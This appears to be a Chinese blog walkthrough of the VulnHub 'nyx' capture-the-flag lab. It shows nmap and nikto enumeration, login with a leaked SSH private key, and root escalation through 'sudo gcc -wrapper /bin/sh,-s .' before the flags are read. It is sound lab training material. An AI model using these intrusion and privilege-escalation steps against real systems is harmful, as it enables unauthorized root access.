vulnhub nyx

vulnhub nyx

今天分享一个简单的靶机 nyx,下载地址:点我下载

信息收集

攻击机IP:192.168.87.130
在这里插入图片描述可以看到靶机ip为:192.168.87.128

探测服务以及端口

nmap -sV 192.168.87.128
nmap -p- 192.168.87.128

在这里插入图片描述
在这里插入图片描述
访问 80端口:
在这里插入图片描述
看一下源码文件:
在这里插入图片描述提示说不要把时间浪费在 /robots.txt 等文件上,先看看再说。

在这里插入图片描述看来真的不存在。尝试一下nikto。
在这里插入图片描述没有什么很有价值的东西。扫目录也没有什么有用的东西。
在这里插入图片描述用御剑扫了一下目录(自己整合的字典):
发现了key.php
在这里插入图片描述不过多次尝试觉得不存在sql注入等,应该是需要获得第一个flag才可以。

找了一下文章,发现了nmap的高级用法:

nmap -p 80 --script=http-enum 192.168.87.128

在这里插入图片描述
访问一下页面:
在这里插入图片描述
看着像是 mpampis用户的ssh密钥 保存一下 ,尝试免密ssh登录

chmod 600 id_rsa
ssh -i id_rsa mpampis@192.168.87.128

在这里插入图片描述查看当前用户可暂时切换能执行的命令:

sudo -l

在这里插入图片描述可以看到当前用户可以通过gcc暂时切换到root。

sudo gcc -wrapper /bin/sh,-s .

在这里插入图片描述
成功提权。
获取flag。

ls
cat user.txt

在这里插入图片描述

cd /root
ls

在这里插入图片描述

结尾

root.txt文件里没有内容。为了确认一下,会不会还有root.txt文件,查了一下。
在这里插入图片描述只有一个root.txt文件。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值